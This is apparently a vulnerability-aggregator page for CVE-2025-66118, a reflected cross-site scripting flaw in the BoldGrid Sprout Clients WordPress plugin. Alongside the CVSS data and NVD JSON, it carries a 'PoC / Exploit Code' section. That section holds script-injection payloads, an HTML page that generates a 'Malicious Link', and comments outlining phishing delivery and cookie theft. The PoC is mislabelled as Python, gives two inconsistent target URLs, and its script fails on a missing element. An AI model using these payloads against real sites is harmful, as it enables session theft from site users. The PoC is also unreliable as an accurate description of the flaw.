CVE-2025-66118

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BoldGrid Sprout Clients sprout-clients allows Reflected XSS.This issue affects Sprout Clients: from n/a through <= 3.2.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BoldGrid Sprout Clients <= 3.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-66118 PoC - BoldGrid Sprout Clients Reflected XSS -->
<!-- Attack Scenario:诱骗用户点击以下恶意链接 -->

<!-- PoC URL (需要URL编码) -->
<!-- https://target-site.com/?action=sprout_clients&param=<script>alert(document.cookie)</script> -->

<!-- 实际PoC代码 -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-66118 PoC</title>
</head>
<body>
    <h2>CVE-2025-66118 Reflected XSS PoC</h2>
    <p>Target: BoldGrid Sprout Clients Plugin <= 3.2.1</p>
    
    <script>
        // Generate malicious URL for BoldGrid Sprout Clients
        const targetUrl = window.location.origin;
        const maliciousPayload = '<script>alert("XSS - CVE-2025-66118")</script>';
        const exploitUrl = `${targetUrl}/wp-admin/admin.php?page=sprout-clients&message=${encodeURIComponent(maliciousPayload)}`;
        
        // Display exploit URL
        document.getElementById('exploit-url').innerHTML = 
            '<a href="' + exploitUrl + '" target="_blank">Malicious Link</a>';
        
        console.log('Exploit URL:', exploitUrl);
        console.log('This payload will execute JavaScript when clicked');
    </script>
    
    <p>Generated Exploit Link:</p>
    <div id="exploit-url"></div>
    
    <!-- Attack chain steps -->
    <!-- Step 1: Attacker crafts XSS payload -->
    <!-- Step 2: Embed payload in URL parameter -->
    <!-- Step 3: Deliver link via phishing/social engineering -->
    <!-- Step 4: Victim clicks malicious link -->
    <!-- Step 5: Server reflects payload without sanitization -->
    <!-- Step 6: Browser executes injected JavaScript -->
    <!-- Step 7: Attacker steals cookies/session data -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66118
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66118
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66118/
[4] VulDB https://vuldb.com/cve/CVE-2025-66118
[5] https://patchstack.com/database/Wordpress/Plugin/sprout-clients/vulnerability/wordpress-sprout-clients-plugin-3-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66118", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BoldGrid Sprout Clients sprout-clients allows Reflected XSS.This issue affects Sprout Clients: from n/a through <= 3.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sprout-clients/vulnerability/wordpress-sprout-clients-plugin-3-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}